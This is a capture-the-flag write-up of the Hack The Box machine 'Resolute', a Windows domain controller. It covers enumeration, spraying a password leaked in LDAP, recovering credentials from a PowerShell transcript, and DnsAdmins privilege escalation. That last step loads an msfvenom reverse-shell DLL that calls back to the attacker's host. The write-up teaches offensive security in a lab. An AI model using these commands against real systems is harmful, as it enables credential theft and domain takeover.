Resolute Writeup
25 May 2023 #CTF #HTB #box #medium #windowsEnumeration
nmap
$ sudo nmap -sC -sV 10.10.10.169
[...]
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-05-25 12:03:54Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h27m00s, deviation: 4h02m31s, median: 6m59s
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-05-25T12:03:57
|_ start_date: 2023-05-25T09:30:19
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Resolute
| NetBIOS computer name: RESOLUTE\x00
| Domain name: megabank.local
| Forest name: megabank.local
| FQDN: Resolute.megabank.local
|_ System time: 2023-05-25T05:03:59-07:00
[...]
We see Kerberos, LDAP and DNS so it looks like we are dealing with a Domain Controller
SMB
When trying to list the shares anonymously, we get an error:
$ smbclient -NL 10.10.10.169
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.169 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
When using the hostname of the box (after adding it to /etc/hosts
) we don't get it:
$ smbclient -NL RESOLUTE
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
We still can't list the shares, but that doesn't mean we don't have any access.
Let's try to use rpcclient
to see if we can connect to the IPC$
share:
$ rpcclient -U % 10.10.10.169
rpcclient $> querydominfo
Domain: MEGABANK
Server:
Comment:
Total Users: 79
Total Groups: 0
Total Aliases: 0
Sequence No: 1
Force Logoff: -1
Domain Server State: 0x1
Server Role: ROLE_DOMAIN_PDC
Unknown 3: 0x1
rpcclient $>
We indeed can. -U %
is how we specify to use the null session.
Let's use the enumdomusers
to dump all user accounts in AD:
$ rpcclient -U % 10.10.10.169 -c 'enumdomusers' | grep -oP '\[.*?\]' | tr -d '[]' | grep -v '^0x' | tee users.txt
Administrator
Guest
krbtgt
DefaultAccount
ryan
marko
sunita
abigail
marcus
sally
fred
angela
felicia
gustavo
ulf
stevie
claire
paulo
steve
annette
annika
per
claude
melanie
zach
simon
naoki
We need to use a bit of grep
magic to get a nice user list.
LDAP
Let's try anonymous LDAP authentication as well:
$ ldapsearch -x -b 'DC=megabank,DC=local' -H ldap://10.10.10.169
[...]
# megabank.local
dn: DC=megabank,DC=local
objectClass: top
objectClass: domain
objectClass: domainDNS
distinguishedName: DC=megabank,DC=local
instanceType: 5
[...]
Cool, it works.
We can try looking for common attributes like the description. Occasionally, we'll see some interesting info in there:
$ ldapsearch -x -b 'DC=megabank,DC=local' -H ldap://10.10.10.169 | grep -i descr
[...]
description: Account created. Password set to Welcome123!
[...]
Like passwords (:
Foothold
Let's spray the password we found with the user list we got from SMB:
$ crackmapexec winrm 10.10.10.169 -u users.txt -p Welcome123!
SMB 10.10.10.169 5985 RESOLUTE [*] Windows 10.0 Build 14393 (name:RESOLUTE) (domain:megabank.local)
HTTP 10.10.10.169 5985 RESOLUTE [*] http://10.10.10.169:5985/wsman
WINRM 10.10.10.169 5985 RESOLUTE [+] megabank.local\melanie:Welcome123! (Pwn3d!)
Nice, we can winrm to the DC with melanie:
$ evil-winrm -i 10.10.10.169 -u melanie -p Welcome123!
[...]
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\melanie\Documents>
Privesc
Melanie to Ryan
There is another user that can login to the DC:
*Evil-WinRM* PS C:\> ls /users
Directory: C:\users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/25/2019 10:43 AM Administrator
d----- 12/4/2019 2:46 AM melanie
d-r--- 11/20/2016 6:39 PM Public
d----- 9/27/2019 7:05 AM ryan
Let's check this user out:
*Evil-WinRM* PS C:\> net user ryan
User name ryan
Full Name Ryan Bertrand
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 5/25/2023 7:02:03 AM
Password expires Never
Password changeable 5/26/2023 7:02:03 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users *Contractors
He is a member of the Contractors group. This is not a default AD group so we'll dig around a bit more to see if this group is member of other groups (we could just use BloodHound, but I was just lazy, classic):
*Evil-WinRM* PS C:\> import-module ActiveDirectory
*Evil-WinRM* PS C:\> Get-ADGroupMember DnsAdmins
distinguishedName : CN=Contractors,OU=Groups,DC=megabank,DC=local
name : Contractors
objectClass : group
objectGUID : 9f2ff7be-f805-491f-aff1-3653653874d7
SamAccountName : Contractors
SID : S-1-5-21-1392959593-3013219662-3596683436-1103
Contractors is a member of DnsAdmins which means that it's like Ryan is also a member of DnsAdmins (nested group membership). DnsAdmins is a dangerous group but we'll see that in a second.
There is a unusual PSTranscripts
directory in C:\
:
*Evil-WinRM* PS C:\> ls -force
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs- 12/3/2019 6:40 AM $RECYCLE.BIN
d--hsl 9/25/2019 10:17 AM Documents and Settings
d----- 9/25/2019 6:19 AM PerfLogs
d-r--- 9/25/2019 12:39 PM Program Files
d----- 11/20/2016 6:36 PM Program Files (x86)
d--h-- 9/25/2019 10:48 AM ProgramData
d--h-- 12/3/2019 6:32 AM PSTranscripts
d--hs- 9/25/2019 10:17 AM Recovery
d--hs- 9/25/2019 6:25 AM System Volume Information
d-r--- 12/4/2019 2:46 AM Users
d----- 12/4/2019 5:15 AM Windows
-arhs- 11/20/2016 5:59 PM 389408 bootmgr
-a-hs- 7/16/2016 6:10 AM 1 BOOTNXT
-a-hs- 5/26/2023 5:44 AM 402653184 pagefile.sys
*Evil-WinRM* PS C:\> ls -force PSTranscripts
Directory: C:\PSTranscripts
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--h-- 12/3/2019 6:45 AM 20191203
Note that we have to use ls -force
(or gci -force
) because this is a hidden directory.
In this directory, there is a log of a powershell session from Ryan with his password:
[...]
Command start time: 20191203063455
**********************
PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents> "
PS megabank\ryan@RESOLUTE Documents>
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
[...]
We can now login to the DC as Ryan:
$ evil-winrm -i 10.10.10.169 -u ryan -p Serv3r4Admin4cc123!
[...]
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents>
Ryan to SYSTEM
Members of the DnsAdmins group have the rights to load a DLL, and it's not unusual for them to also have rights to restart the DNS service on the DC. The DNS service always runs as SYSTEM so it's pretty much GG.
We'll start by generating a malicious DLL that will send us a reverse shell when loaded:
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.14 LPORT=53 -f dll -o
msf.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: msf.dll
We can host the DLL on our box:
$ impacket-smbserver public $PWD
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[...]
And load it remotely:
*Evil-WinRM* PS C:\programdata> dnscmd.exe /config /serverlevelplugindll \\10.10.14.14\public\msf.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
Make sure to not set a password for the share otherwise the DC won't be able to load the DLL (definitely not what I did nope).
Now restart the service to execute the evil DLL:
*Evil-WinRM* PS C:\programdata> sc.exe stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
*Evil-WinRM* PS C:\programdata> sc.exe start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0x4e20
PID : 1444
FLAGS :
Once the service starts, we should get a reverse shell back as SYSTEM:
$ nc -lnvp 53
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::53
Ncat: Listening on 0.0.0.0:53
Ncat: Connection from 10.10.10.169.
Ncat: Connection from 10.10.10.169:54451.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
Note that this is a very bad way of exploiting this because the reverse shell hangs the DNS service. If you want the proper way to do this check out Ippsec's video.
Anyway, once we get the shell back, we can clean up our mess:
*Evil-WinRM* PS C:\programdata> reg.exe delete HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
[...]
*Evil-WinRM* PS C:\programdata> sc.exe stop dns
[...]
*Evil-WinRM* PS C:\programdata> sc.exe start dns
[...]
This will unregister the DLL and restart the service once again to a clean state.
Key Takeaways
- Check common attributes like description
- Member of DnsAdmins -> can compromise entire domain
- When loading DLLs make sure to not hang the service + clean up after